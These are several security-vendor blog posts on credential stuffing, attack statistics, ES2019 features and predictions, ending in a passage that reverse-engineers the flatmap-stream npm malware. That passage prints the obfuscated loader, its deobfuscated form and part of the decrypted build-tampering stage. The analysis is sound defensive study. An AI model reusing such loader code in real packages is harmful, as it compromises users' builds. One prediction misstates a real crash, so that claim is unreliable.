What Your Login Success Rate Says About Your Credential Stuffing Threat

One of the problems with imitation attacks such as sophisticated credential stuffing is that they are designed to blend in with legitimate traffic. How can you measure something that you can’t detect? Fear-mongering marketing compounds this problem and makes everything sound like a snake-oil solution for a problem people don’t think they have.

Imitation attacks against your services and APIs leverage inherent functionality in your system. In other words, they can be successful even when you have patched, firewalled, and done everything perfectly from an application security standpoint. Blocking basic credential stuffing attacks generated from naive bots is straightforward but, as attackers evolve, they develop more sophisticated tools to launch attacks that blend in with legitimate traffic better. They use machine learning to emulate user behavior like mouse movements and keystrokes. They generate or harvest digital fingerprints to distribute across a botnet to make each node appear more “real.” They proxy requests through residential IP addresses to give the traffic the appearance of originating from known-good home networks. Googles themselves make tools like Puppeteer & headless Chrome to automate and script the world’s most common browser which is exactly what you would use if you were trying to blend in with legitimate users. This is a problem that is getting harder, not easier.

Imitation attacks like advanced credential stuffing do have one thing in common, though – they send millions of requests hoping that a fraction of a percentage end up successful and result in an account takeover, a valid credit card, an account number with a loyalty balance, anything. This success/failure ratio is observable with data you have now. What we’ve found at Shape, is that similar companies have similar success ratios for similar user experience flows.

If you’re debating if you have a credential stuffing problem, then take a long look at your login success ratio.

What is your average login success ratio?

The average login success ratio drops dramatically during periods of credential stuffing attacks. These attacks use combolists with millions of usernames and passwords and of course the majority of these credentials aren’t valid on your site. Shape sees credential stuffing success rates between .2 and 2%, typically – attackers don’t need a very high success rate as long as the attack is cheap to perform. These attacks push the login success rate for your site down well below normal numbers. Some Shape customers have seen login success ratios lower than 5% before enabling countermeasures. Success ratios that low are abnormal and should be immediately investigated. Below are average login success ratios for one month of traffic across three major industries:

  • Financial institutions: 79%
  • Travel industry: 73%
  • Retailers: 62%

Individual companies deviate from this average as much as 10% – the sites where customers log in more frequently tend to have a higher login success ratio. The users at these sites are more likely to remember their passwords and are also more likely to have stored their credentials in their devices or web browsers. Banks and financial institutions only keep users logged in for 15 minutes leading to more successful logins than retailers or social media sites that keep users logged in for longer periods of time. This results in much higher login success rates for banks than for retailers.

Users also have access to few bank accounts and do not change them often, as a result they are more likely to remember their login credentials. Users however regularly shop at multiple retailers and it is easy to create a retail account. This results in lower login success rates for such sites, reflecting a higher rate of users who may be visiting for the first time in months or even years. Infrequent visitors naturally forget their passwords more regularly.

Companies should expect to see 60-85% login success rates. Anything higher or lower is suspect.

No matter the industry, companies should expect to see 60-85% login success rates. Anything higher or lower is suspect. Spikes in traffic can temporarily affect the login success ratio but those should be explainable by commonly understood events like promotions or viral marketing. If there are spikes that have nothing in common then you should look deeper, that traffic is probably a credential stuffing attack that you need to stop as soon as possible.

Graph of a customer who experienced a credential stuffing attack during a steady state of normal login successes.

One caveat

Some industries like banks and other financial institutions are frequently targets for aggregators, services like Mint and Plaid that act as delegates with user permission to log in and gather data across many companies and present it in one unified interface. Aggregators use legitimate credentials and log in multiple times a day, unnaturally inflating the login success rate. You can look for evidence of aggregators by querying for successful logins across multiple users from the same IP addresses, especially if the IP addresses are from cloud or hosting providers. This is not a foolproof method of detection but you will see traces that will help you get a better understanding of your true login success ratio. If you see login success rates in the high 80s or 90s, that is abnormally high and indicative of low credential stuffing threat but high aggregator traffic. Whether or not to consider aggregators a threat is different for every business.

Where to go from here?

What do you do if you find a login success ratio that is concerning? Like with any threat, you need visibility into the attack before you can think about mitigation. Start with free options before committing to a vendor. Tying yourself up with a vendor too early can spin you in the wrong direction and end up wasting months of time. I’ve written an article on 10 things you can do to stop credential stuffing attacks which goes over some free detection methods as well as some mitigation strategies. This should be enough to get you started understanding your problem and, once you understand the scope of your issue, then you can have better conversations with security vendors. Of course we at Shape Security are available to answer questions any time of day and you can feel free to reach out to me personally on twitter.

5 Rando Stats from Watching eCrime All Day Every Day

David Holmes here, cub reporter for Shape Security. While I’m luxuriating in United Airlines’ steerage class, our crack SOC team is back at HQ slaving away over their dashboards as tidal waves of automated traffic crash against the Shape breakers. At least they have Nespresso and those convenient eggs-in-a-bag from the kitch. The day shift of SOC team #1 actually sits pretty close to the corporate marketing brigade, so we kind of know each other and exchange awkward greetings in the hallway.

Breakfast of SOC Champions

ANYWAY, I thought it would be cool to share some statistics from SOC’s recent cases that highlight the shape of the anti-automation industry today.

1. 750 Million in a Week for One Site

Since the release of the Collection #1 credential corpus, some of our customers are experiencing insane levels of login events. One customer saw over 1.5 billion automation attempts in a two-week period. That’s pretty high even for them, one of the largest banks in the solar system. If, for some tragic reason, the Collection #1 campaign persists at its current level, you could extrapolate 39 billion automation attempts in a year (assuming no cracker vacation). Against a single site. That’s sick, brah. Sick.

2. IP Address Re-use: 2.2

This stat is actually sadder than last week’s Grammys. During a credential-stuffing campaign, the attacker throws millions of credentials (gathered from breaches or the “dark web”). If he tried them all from a single IP address, then, of course, you’d just block that IP address, right? So he uses multiple IP addresses. In extreme cases, the most sophisticated cracker will only try a single login from each IP address (no re-use). Lately, the average number of times an IP address will get reused during a campaign is a paltry 2.2.

Basically, blocking by IP address is useless. By the time you add an IP address to your blacklist, it’s too late—it’s not going to be reused again during the campaign. If you see a vendor touting address-blocking, or CAPTCHAs, as a solution, please put your hands on your hips, throw back your head, and issue forth the biggest belly laugh you can. Bwahahaha!

Sadly, some of the technical people we talk to just don’t get it. We tell them: “Blacklists are useless,” and they say “Sure, but you block by IP address, right?” Then we explain it again, and they still don’t get it. Someone should write a paper! Oh, wait, that’s us.

3. Credential Stuffing Succeeds 2% of the Time

2% is funny. It’s our favorite milk. It’s the conversion from US dollars to Philippine pesos. It’s our reader-retention rate when we let Holmes write. Two percent may not sound like much, but consider an attacker testing a million stolen credentials against your web property. That’s 20,000 valid usernames and passwords he’s going to confirm. Actually, the success rate varies between 0.1 and three percent, but two percent is good enough for government work. And speaking of government…

You might be thinking: Actually, guys, 0.1 to 3.0 is a huge range. That’s a multiple of 30. An order of magnitude and then some.  True enough, but when dealing with a million—or even a billion—credentials, the difference is really just “bad outcome” versus “really bad outcome.”

Yesterday Shape looked at a small campaign where a single, lonely attacker in Vietnam had 1,500,000 credentials. Even a 0.1-percent success rate, for him, would have translated to the confirmation, and possible account takeover (ATO), of 1,500 accounts. We say “would have” because we foiled all of his posts. He didn’t even seem to notice, which makes us think maybe he’s TOO automated, or that he suffers from some kind of “educational gap” (that’s the new euphemism for stupidity).

4. 15 Months to an Ugly Baby

The number of months between when some dood stole all your credentials and when you read about it in The Register while eating your precious Honey Smacks is: 15. A lot can happen in 15 months; French words, mostly. Organization penetration, exfiltration, hacker celebration, hacker inebriation, and stock depreciation. Of course 15 months is just an average, and individual cases vary widely, but the point is that it’s an eternity in Internet time.

“Well, dang!” you sputter around your Honey Smacks. “What’s being done about this???”

We’ve got a solution we call Blackfish. We’re already seeing all the waves of credential stuffing against the busiest commercial sites in the world. So we can tell when someone stuffs, say, the creds from your entire customer login database against HoneySmacks.com. Now you don’t have to wait 15 months; if you had Blackfish, you’d know the minute someone tried your logins. How cool is that? If you’re interested, a single chat with our trusty sales chatbot can get the ball rolling for you.

And if you want to read a much more coherent explanation of the 15-month effect, print out our award-winning Credential Spill report, and read it over your Honey Smacks tomorrow.

Disclaimer: Shape Security in no way endorses Honey Smacks; in fact, they have been voted the number #2 worst breakfast you can possibly eat. But dang, they are yums.

5. 99.5% of POSTs are against “forgot-password.js”

Our SOC team dealt with an ATO campaign last month. We remember it well because against that website, we detected that 99.5 percent of requests headed for their “forgot-password” page were automated. Yes, that’s 199/200 for the fractionally-minded (aren’t numbers fun)!

Sure, that’s a single campaign, but in our experience, it’s not an uncommon one. Check your own weblogs and see how the access requests to your forgot-password page compare to, well, anything else (and then call us).

We have many customers for whom forgot-password is their most-frequented page by far. By far! And if our customers weren’t the paragons of morality that they are, they’d put ads on that page and fund themselves a couple of truckloads of egg-in-a-bags. Or is it eggs-in-a-bags? The Oxford dictionary is strangely silent on this topic.

Well, there you have it: five random statistics about fighting anti-automation we slapped together compiled from the last month. Stay tuned, friends, and we at Shape Security’s marketing brigade will bring you more pseudo-cogent security-related statistics, probably from RSA 2019, in a couple of weeks.

ES2019 features coming to JavaScript (starring us!)

Shape Security has been contributing actively to TC39 and other standards bodies for the past 4 years but this year is special for us. A significant portion of the features coming to JavaScript as part of the 2019 update are from Shape Security engineers! Shape contributes to standards bodies to ensure new features are added while taking into account evolving security implications. Anything Shape contributes outside of this broad goal is because we believe the web platform is the greatest platform ever made and we want to help it grow even better.

Thanks to everyone who contributes to TC39 and thank you Michael Ficarra (@smooshMap), Tim Disney (@disnet), and Kevin Gibbons (@bakkoting) for representing Shape.


The 2019 update includes quality-of-life updates to JavaScript natives, and standardizes undefined or inconsistent behavior.

Buffed: String, Array, Object, Symbol, JSON

Nerfed: Try/Catch

Adjusted: Array.prototype.sort, Function.prototype.toString

Native API additions

Array.prototype.flat & .flatMap

> [ [1], [1, 2], [1, [2, [3] ] ] ].flat();
< [1, 1, 2, 1, [2, [3]]]

> [ [1], [1, 2], [1, [2, [3] ] ] ].flat(3);
< [1, 1, 2, 1, 2, 3]

The Array prototype methods flat and flatMap got unexpected attention this year, not because of their implementation, but because Shape Security engineer Michael Ficarra opened a gag pull request renaming the original method flatten to smoosh thus starting SmooshGate. Michael opened the pull request as a joke after long TC39 meetings on the topic and it ended up giving the average developer great insight into how TC39 works and under how big of a microscope proposals are placed under. When considering new features to add to JavaScript, the TC39 committee has to take two decades of existing websites and applications into account to ensure no new feature unexpectedly breaks them.

After FireFox shipped flatten in the nightly releases, users found that websites using the MooTools framework were breaking. MooTools had added flatten to the Array prototype ten years ago and now any site using MooTools risks breaking if the method changes. Since MooTools usage has declined in favor of more modern frameworks, many sites using the library are sites which are no longer actively maintained — they will not be updated even if MooTools released an updated version. SmooshGate ended up surfacing serious discussions as to what degree existing websites affect future and present innovation.

The committee concluded backwards compatibility was of higher importance and renamed the method flatten to flat. It’s a long, complicated story with an anticlimactic ending but that could be said of all specification work.

Drama aside, flat operates on an array and “flattens” nested arrays within to a configurable depth. flatMap operates similarly to the map method by applying a function to each element in the list and then calling flat() on the resulting list.


let obj = { a: 1, b: 2 };
let entries = Object.entries(obj);
let newObj = Object.fromEntries(entries);

Object.fromEntries is a complement to the Object.entries method which allows a developer to more succinctly translate objects from one another. Object.entries takes a regular JavaScript object and returns a list of [key, value] pairs, Object.fromEntries enables the reverse.

String.prototype.trimStart & .trimEnd

> '   hello world   '.trimStart()
< "hello world   "

> '   hello world   '.trimEnd()
< "   hello world"

Major JavaScript engines had implementations of String.prototype.trimLeft() and String.prototype.trimRight() but the methods lacked a true definition in the spec. This proposal standardizes the names as trimStart and trimEnd, aligning terminology with padStart and padEnd, and aliases trimLeft and trimRight to the respective function.


> let mySymbol = Symbol('my description');
< undefined

> mySymbol.description
< 'my description'

Symbol.prototype.description is an accessor for the unexposed description property. Before this addition, the only way to access the description passed into the constructor was by converting the Symbol to a string via toString() and there was no intuitive way to differentiate between Symbol() and Symbol(‘’).

Spec & Language Cleanup

Try/Catch optional binding

try {
  throw new Error();
} catch {
  console.log('I have no error')

Until this proposal, omitting the binding on catch resulted in an error when parsing the JavaScript source text. This resulted in developers putting in a dummy binding despite them being unnecessary and unused. This is another quality-of-life addition allowing developers to be more intentional when they ignore errors, improving the developer experience and reducing cognitive overhead for future maintainers.

Make ECMAScript a proper superset of JSON

JSON.parse describes JSON as a subset of JavaScript despite valid JSON including Unicode line separators and paragraph separators not being valid JavaScript. This proposal modifies the ECMAScript specification to allow those characters in string literals. The majority of developers will never encounter this usage but it reduces edge case handling for developers dealing with the go-between and generation of JavaScript and JSON. Now you can insert any valid JSON into a JavaScript program without accounting for edge cases in a preprocessing stage.

Well-formed JSON.stringify

> JSON.stringify('\uD834\uDF06')
< "\"𝌆\""

> JSON.stringify('\uDF06\uD834')
< "\"\\udf06\\ud834\""

This proposal rectifies inconsistencies in description and behavior for JSON.stringify. The ECMAScript spec describes JSON.stringify as returning a UTF-16 encoded JSON format string but can return values that are invalid UTF-16 and are unrepresentable in UTF-8 (specifically surrogates in the Unicode range U+D800U+DFFF). The accepted resolution is, when encoding lone surrogates, to return the code point as a Unicode escape sequence.

Stable Array.prototype.sort()

This is a change to the spec reflecting the behavior standardized by practice in major JavaScript engines. Array.prototype.sort is now required to be stable — values comparing as equal stay in their original order.

Revised Function.prototype.toString()

The proposal to revise Function.prototype.toString has been a work-in-progress for over 3 years and was another proposed and championed by Michael Ficarra due to problems and inconsistencies with the existing spec. This revision clarifies and standardizes what source text toString() should return or generate for functions defined in all the different forms. For functions created from parsed ECMAScript source, toString() will preserve the whole source text including whitespace, comments, everything.

Onward and upward

ES2015 was a big step for JavaScript with massive new changes and, because of the problems associated with a large change set, the TC39 members agreed it is more sustainable to produce smaller, yearly updates. Most of the features above are already implemented in major JavaScript engines and can be used today.

If you are interested in reading more TC39 proposals, including dozens which are in early stages, the committee makes its work available publicly on Github.com. Take a look at some of the more interesting proposals like the pipeline operator and optional chaining.

Lessons Learned from 2018 Holiday Attacks: No Rest for the Wicked

Scrooge would approve—attackers work on Christmas Eve, and now on New Year’s Eve, too

We at Shape Security defend the world’s top banking, retail, and travel websites. And while you might be just getting back to work this first full week of January, our attack forensics teams are finally getting a break, because this holiday season was a busy one. Now that the dust has settled, we’ve analyzed our data to determine how 2018’s online holiday-season shenanigans differ from 2017’s.

During this festive Holiday season, attackers worked through Christmas Eve and Christmas Day. But in a striking change from the previous year, the most sophisticated attackers no longer took a New Year’s Eve (NYE) off. In fact, this year, we saw several intense campaigns that started or peaked on NYE.

The Best Time to Rob a Bank is Christmas Day

No matter what institution they use, most online banking customers have one thing in common: they stop checking their online balances during the December holidays. Turning a blind eye to one’s finances is optimistic human nature; our customers report that legitimate online banking activity often drops as much as 30 to 40 percent during this period.

Financial institutions may not observe the full extent of this change, however, because the drop in legitimate banking activity is overshadowed by an increase in malicious activity. According to our data, in both 2017 and 2018, malicious actors took advantage of the holiday, launching new attacks on or right around Christmas.

Figure 1: A malicious actor waited to launch their attack until Christmas Day itself.

Shape’s Christmas present to the Top 5 US bank, the target in the above graph, was the fact that we didn’t take Christmas Day off, either.

New Year’s Eve is Cancelled (for Professional Criminals)

With some notable exceptions, nearly all attackers took New Year’s Eve off. On that night, attacks aimed at Shape’s customers dropped over 65% overall – and in one case over 99%, We observed this trend across all industries, including retail, travel, financial services, and tech. Perhaps tired from their exertions over Christmas, nearly all attackers put their keyboards away and joined the poor furloughed federal workers on a break for the New Year’s holiday.

“The holiday season now separates the hobbyists from the dedicated professional cybercriminals.”

Figure 2: Reductions in both legitimate consumer traffic and automated attack traffic.

But the sophisticated attackers, the ones who do this for a living, actually used the global holiday for surgical strikes, particularly against banks .

The attack graph below illustrates the trend. The tiny, tiny red bars on the left (they look like a dotted line) show the normal level of traffic on a financial institution’s website.

Figure 3: Attacker launches failed campaign, retools on NYE, gives up on Jan 1

On December 29, malicious actors launched a large attack against the site. Even by spoofing dozens of signals at all levels – network, client and behavioral, they still couldn’t penetrate Shape’s defenses. On New Year’s Eve they retooled, doubling the number of signals that they were spoofing, but that too, failed, and they gave up towards the end of the day.

Why Launch Attacks During the Holidays?

Sophisticated attackers, the ones for whom crime is their day job, know they are playing a chess game that requires human intervention. So they plan their moves according to when organizations are most vulnerable, i.e., when a security team is most likely to be distracted or short-staffed. What are the days that a security operations team is most likely to be away from their desks? Christmas and New Year’s.

Furthermore, because professional criminals are relying on their ill-gotten gains, they are loath to waste resources. Everyone knows that the top banks are the most lucrative targets, yet hardest to crack. So we suspect that’s why FSIs in particular are targeted during the holidays.

The clearest example of this theory comes from the most sophisticated attack group Shape saw in 2018—a bot that mimicked iOS clients (see our 2018 Credential Spill Report, in which we talk about this attack group). They’d previously targeted a top Canadian retailer, a top global food and beverage company, and a Top 10 North American bank, and we had successfully held them off across our entire customer network.

Figure 4: Sophisticated attacker activity on NYE

This group had been lying low for a couple of months, but on NYE they came back with a sneaky, retooled attack when they thought we weren’t watching. But Shape detected the new attack and quickly blocked it. The attacker gave up on New Year’s Day.

It is not clear why only sophisticated attackers worked on New Year’s Eve this year. We suspect they are getting desperate as more and more organizations harden their application defenses against automated fraud and are looking for any type of vulnerability to exploit. In that case, it’s possible we will see this behavioral trend extend to other major holidays in which companies effectively shut down, such as Chinese New Year and Labor Day.

About Shape Security

Shape Security is defining a new future in which excellent cybersecurity not only stops attackers, but also reduces friction for good customers. Shape disrupts the economics of cybercrime by making it too expensive for attackers to commit online fraud, while also enabling enterprises to more easily transact with genuine customers. The Shape platform, covered by 55 patents, was designed to stop the most dangerous application attacks enabled by bots and cybercriminal tools, including credential stuffing (account takeover), fake account creation, and unauthorized aggregation. The world’s leading organizations rely on Shape as their primary line of defense against attacks on their web and mobile applications, including three of the Top 5 US banks, five of the Top 10 global airlines, two of the Top 5 global hotels, and two of the Top 5 US government agencies. Today, the Shape Network defends 1.7 billion user accounts from account takeover and protects 40% of the consumer banking industry. Shape was recognized by the Deloitte Technology Fast 500 as the fastest-growing company in Silicon Valley and was recently inducted into J.P. Morgan Chase’s Hall of Innovation.

Extreme Cybersecurity Predictions for 2019

Prediction blogs are fun but also kind of dangerous because we’re putting in writing educated guesses that may never come true and then we look, um, wrong. Also dangerous because if we’re going to get any airtime at all, we have to really push the boundary of incredulity. So here at Shape, we’ve decided to double down and make some extreme cybersecurity predictions, and then we’ll post this under the corporate account so none of our names are on it. Whoa, did we just say that out loud?

“Baby, when you log in to my heart, are you being fake?” Photo Credit: HBO

Forget the Singularity, Worry About the Inversion

New York Magazine’s “Life in Pixels” column recently featured a cute piece on the Fake Internet. They’re just coming to the realization that a huge number of Internet users are, in fact, fake. The users are really robots (ahem, bots) that are trying to appear like humans—no, not like Westworld, but like normal humans driving a browser or using a mobile app. The article cites engineers at YouTube worrying about when fake users will surpass real users, a moment they call “The Inversion.”  We at Shape are here to tell you that if it hasn’t happened already, it will happen in 2019. We protect the highest-profile web assets in the world, and we regularly see automated traffic north of 90%. For pages like “password-reset.html” it can be 99.95% automated traffic!

Zombie Device Fraud

There are an estimated five million mobile apps on the market, with new ones arriving every day, and an estimated 60 to 90 installed on the average smartphone. We’ve seen how easy it can be for criminals to exploit developer infrastructure to infect mobile apps and steal bitcoins, for instance. But there’s another way criminals can profit from app users without having to sneak malware into their apps—the bad guys can just buy the apps and make them do whatever they want, without users having any idea that they are using malicious software. The economics of the app business—expensive to create and maintain, hard to monetize—mean less than one in 10,000 apps will end up making money, according to Gartner. This glut of apps creates a huge business opportunity for criminals, who are getting creative in the ways they sneak onto our devices. In 2019, we’ll see a rise in a new type of online fraud where criminals purchase mobile apps just to get access to the users. They then can convert app-user activity into illegitimate fraudulent actions by hiding malware underneath the app interface. For example, a user may think he is playing a game, but in reality his clicks and keystrokes are actually doing something else. The user sees that he is hitting balls and scoring points, but behind the scenes he is actually clicking on fake ads or liking social media posts. In effect, criminals are using these purchased mobile apps to create armies of device bots that they then use for massive fraud campaigns.

Robots will Kill Again

Have you seen those YouTubes from Boston Dynamics? The ones where robots that look like headless Doberman pinschers open doors for each other? You extrapolate and imagine them tearing into John Connor and the human resistance inside. They are terrifying. But they’re not the robots we’re thinking of (yet). A gaggle of autonomous vehicle divisions are already driving robot fleets around Silicon Valley. Google’s Weymo and Uber use these robots to deliver people to their next holiday party, and we’ve heard of at least two robot-car companies delivering groceries. Uber already had the misfortune of a traffic fatality when its autonomous Tesla hit a cyclist in Arizona last year. But Uber robots will be back on the road in 2019, competing for miles with Weymo. Combine these fleets with the others, and more victims more can join Robert Williams and Kenji Urada in the “killed-by-robot” hall of fame. Hopefully it won’t be you, dear reader, and hopefully none of these deaths will be caused by remote attackers. Fingers crossed!

Reimagining Behavioral Biometrics

Behavioral biometrics are overhyped today because enterprises lack the frequency of user interactions and types of data needed to create identity profiles of digital users. But in 2019, behavioral analytics will merge with macro biometrics to become truly effective. The market will move to a combination of macro biometrics, like Face ID, and traditional behavioral biometrics, like keyboard behavior and swiping. Apple is ahead of the game with Face ID and has applied for a voice biometrics patent to be used with Siri.

Kim Jong Un as Online Crime Kingpin?

North Korea will become a dominant player in the criminal underground with more frequent and sophisticated financially motivated hacks, rivaling Russian gangs. International sanctions have pushed the country to be more economically resourceful, so it has beefed up its cyber operations.The northern half of the Korean peninsula has been blamed for cyberattacks on banks, via SWIFT transfers, and bitcoin mining, in addition to traditional espionage involving governments, aviation, and other industries. In 2019, cyber attacks originating from groups (allegedly) associated with North Korea will continue to be successful and enforcement remains challenging. And with the recent Marriott breach affecting 500 million Starwood Hotels guests, the theft of passport numbers means nation-states and other attackers have an even more valuable and rare tool at their disposal for financial, tax, and identity fraud.  

All Breaches Aren’t Created Equal

As industries mature, we refine the metrics we use. In 2019 we’ll see enterprises change how they approach data breaches, moving beyond identifying size and scope, focusing instead on potency and longevity. Breach impact will be measured by the overall quality and long-term value of the compromised credentials. For instance, do these assets unlock one account or one hundred accounts? Most recently we’ve seen the Starwood data heist become one of the biggest breaches of its kind, largely due to the bevy of personal data exposed. In this case, since the unauthorized access dates back four years, we can assume this data has already fueled and will continue to fuel serious acts of financial fraud, tax fraud, and identity theft. As hacker tools become more sophisticated and spills more frequent, businesses can’t afford to ignore downstream breaches that result from people reusing the same passwords on multiple accounts. In reality, today’s breaches are fueling a complex and interconnected cybercriminal economy. In 2019, expect businesses to join forces and adopt collective defense strategies to keep one breach from turning into a thousand.

The Future Looks, Um, Futuristic!

These are our extreme predictions for 2019. Will they come true? Some of them, probably. We hope the robots don’t actually kill people, but we’re pretty sure that the Inversion (where automated traffic surpasses human traffic) is a sure bet, if it hasn’t happened already.

Where do you want to be when the Inversion happens?
Working with us, at Shape!

Reverse Engineering JS by example

flatmap-stream payload A

In November, the npm package event-stream was exploited via a malicious dependency, flatmap-stream. The whole ordeal was written up here and the focus of this post is to use it as a case study for reverse engineering JavaScript. The 3 payloads associated with flatmap-stream are simple enough to be easy to write about and complex enough to be interesting. While it is not critical to understand the backstory of this incident in order to understand this post, I will be making assumptions that might not be obvious if you aren’t somewhat familiar with the details.

Reverse engineering most JavaScript is more straightforward than binary executables you may run on your desktop OS – after all, the source is right in front of you – but JavaScript code that is designed to be difficult to understand often goes through a few passes of obfuscation in order to obscure its intent. Some of this obfuscation comes from what is called “minification” which is the process of reducing the overall bytecount of your source as much as possible for space saving purposes. This involves shortening of variables to single character identifiers and translating expressions like true to something shorter but equivalent like !0. Minification is mostly unique to JavaScript’s ecosystem because of its web browser origins and is occasionally seen in node packages due to a reuse of tools and is not intended to be a security measure. For basic reversal of common minification and obfuscation techniques, check out Shape’s unminify tool. Dedicated obfuscation passes may come from tools designed to obfuscate or are performed manually by the developer

The first step is to get your hand on the isolated source for analysis. The flatmap-stream package was crafted specifically to look innocent except for a malicious payload included in only one version of the package, version 0.1.1. You can quickly see the changes to the source by diffing version 0.1.2 and version 0.1.1 or even just alternating between the urls in two tabs. For the rest of the post we’ll be referring to the appended source as payload A. Below is the formatted source of payload A.

! function() {
    try {
        var r = require,
            t = process;

        function e(r) {
            return Buffer.from(r, "hex").toString()
        var n = r(e("2e2f746573742f64617461")),
            o = t[e(n[3])][e(n[4])];
        if (!o) return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = new module.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    } catch (r) {}

First things first: NEVER RUN MALICIOUS CODE (except in insulated environments). I’ve written my own tools to help me refactor code dynamically using the Shift suite of parsers and JavaScript transformers but you can use an IDE like Visual Studio Code for the purposes of following along with this post.

When reverse engineering JavaScript it is valuable to keep the mental juggling to a minimum. This means getting rid of any expressions or statements that don’t add immediate value and also reversing the DRYness of any code that has been optimized automatically or manually. Since we’re statically analyzing the JavaScript and tracking execution in our heads, the deeper your mental stack grows the more likely it is you’ll get lost.

One of the simplest things you can do is unminify variables that are being assigned global properties like require and process, like on lines 3 and 4.

var r = require,
    p = process;

You can do this with any IDE that offers refactoring capabilities (usually by pressing “F2” over an identifier you want to rename). After that, we see a function definition, e, which appears to simply decode a hex string.

function e(r) {
    return Buffer.from(r, "hex").toString()

The first interesting line of code appears to import a file which comes from the result of the function e decoding the string "2e2f746573742f64617461"

var n = require(e("2e2f746573742f64617461")),

It is extremely common for deliberately obfuscated JavaScript to obscure any literal string value so that anyone who takes a passing glance won’t get alerted by particularly ominous strings or properties in clear view. Most developers recognize this is a very low hurdle so you’ll often find trivially undoable encoding in place and that’s no different here. The e function simply reverses hex strings and you can do that manually via an online tool or with your own convenience function. Even if you’re confident that you understand that the e function is doing, it’s still a good idea to not run it (even if you extract it) with input found in a malicious file because you have no guarantees that the attacker hasn’t found a security vulnerability which is triggered by the data.

After reversing that string we see that the script is including a data file, './test/data' which is located in the distributed npm package.

module.exports = [
  "75d4c87f3[...large entry cut...]68ecaa6629",
  "db67fdbfc[...large entry cut...]349b18bc6e1",

After renaming n to data and deobfuscating calls to e(n[2]) to e(n[9]) we start to see a better picture of what we’re dealing with here.

(function () {
  try {
    var data = require("./test/data");
    var o = process["env"]["npm_package_description"];
    var u = require("crypto")["createDecipher"]("aes256", o);
    var a = u.update(data[0], "hex", "utf8");
    a += u.final("utf8");
    var f = new module.constructor;
    f.paths = module.paths;
    f["_compile"](a, "");
  } catch (r) {}

It’s also easy to see why these strings were hidden, finding any references to decryption in a simple flatmap library would be a dead giveaway that something is very wrong.

From here we see the script is importing node.js’s “crypto” library and, after looking up the APIs, we find that the second argument to createDecipher, o here, is the password used to decrypt. Now we can rename that argument and the following return values to sensible names based on the API. Every time we find a new piece of the puzzle it’s important to immortalize it via a refactor or a comment, even if it’s a renamed variable that seems trivial. It’s very common when diving through foreign code for hours that you lose your place, get distracted, or need to backtrack because of some erroneous refactor. Using git to save checkpoints during a refactor is valuable as well but I’ll leave that decision to you. The code now looks as follows, with the e function deleted because it is no longer used along with the statement if (!o) {... because it doesn’t add value to the analysis.

(function () {
  try {
    var data = require("./test/data");
    var password = process["env"]["npm_package_description"];
    var decipher = require("crypto")["createDecipher"]("aes256", password);
    var decrypted = decipher.update(data[0], "hex", "utf8");
    decrypted += decipher.final("utf8");
    var newModuleInstance = new module.constructor;
    newModuleInstance.paths = module.paths;
    newModuleInstance["_compile"](decrypted, "");
  } catch (r) {}

You’ll also notice I’ve renamed f to newModuleInstance. With code this short it’s not critical but with code that might be hundreds of lines long it’s important for everything to be as clear as possible.

Now payload A is largely deobfuscated and we can walk through it to understand what it does.

Line 3 imports our external data.

var data = require("./test/data");

Line 4 grabs a password out of the environment. process.env allows you to access variables from within a node script and npm_package_description is a variables that npm, node’s package manager, sets when you run scripts defined in a package.json file.

var password = process["env"]["npm_package_description"];

Line 5 creates a decipher instance with the value from npm_package_description as the password. This means that the encrypted payload can only be decrypted when this script is executed via npm and is being executed for a particular project that has, in its package.json, a specific description field. That’s going to be tough.

var decipher = require("crypto")["createDecipher"]("aes256", password);

Lines 6 and 7 decrypt the first element in our external file and store it in the variable “decrypted

var decrypted = decipher.update(data[0], "hex", "utf8");
decrypted += decipher.final("utf8");

Lines 8-11 create a new module and then feeds the decrypted data into the undocumented method _compile. This module then exports the second element of our external data file. module.exports is node’s mechanism of exposing data from one module to another, so newModuleInstance.exports(data[1]) is exposing a second encrypted payload found in our external data file.

var newModuleInstance = new module.constructor;
newModuleInstance.paths = module.paths;
newModuleInstance["_compile"](decrypted, "");

At this point we have encrypted data that is only decryptable with a password found in a package.json somewhere and whose decrypted data gets fed into the _compile method. Now we are left with a problem: how do you decrypt data where the password is unknown? This is a non-trivial question, if it were easy to brute force aes256 encryption then we’d have more problems than an npm package being taken over. Luckily we’re not dealing with a completely unknown set of possible passwords, just any string that happened to be entered into a package.json somewhere. package.json files originated as the file format for npm package metadata so we may as well start at the official npm registry. Luckily there’s an npm package that gives us a stream of all package metadata.

There’s no guarantee our target file is located in an npm package, many non-npm projects use package.json to store configuration for node-based tools, and package.json descriptions can change from version to version but it’s a good place to start. It is possible to decrypt this payload with multiple keys resulting in garbled gibberish so we need some way of validating our decrypted payload during this brute forcing process. Since we’re dealing something that is fed to Module.prototype._compile which feeds to vm.runInThisContext we can reasonably assume that the output is JavaScript and we can use any number of JavaScript parsers to validate the data. If our password fails or if it succeeds but our parser throws an error then we need to move to the next package.json. Conveniently, Shape Security has built its own set of JavaScript parsers for use in JavaScript and Java environments. The brute force script used is here:

const crypto = require('crypto');
const registry = require('all-the-packages')
const data = require('./test-data');
const { parseScript } = require('shift-parser');

let num = 0;
const start = Date.now();
  .on('package', function (pkg) {
    const password = pkg.description;
    const decrypted = decrypt(data[0], password);
    if (decrypted && parse(decrypted)) {
      console.log(`Password is '${password}' from ${pkg.name}@${pkg.version}`);
  .on('end', function () {
    const end = Date.now();
    console.log(`Done. Processed ${num} package's metadata in ${(end - start) / 1000} seconds.`);

function decrypt(data, password) {
  try {
    const decipher = crypto.createDecipher("aes256", password);
    let decrypted = decipher.update(data, "hex", "utf8");
    decrypted += decipher.final("utf8");
    return decrypted;
  } catch (e) {
    return false;

function parse(input) {
  try { 
    return true;
  } catch(e) {
    return false;

After running this for 92.1 seconds and processing 740543 packages we come up with our password – “A Secure Bitcoin Wallet” – which successfully decodes the payload included below:

module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
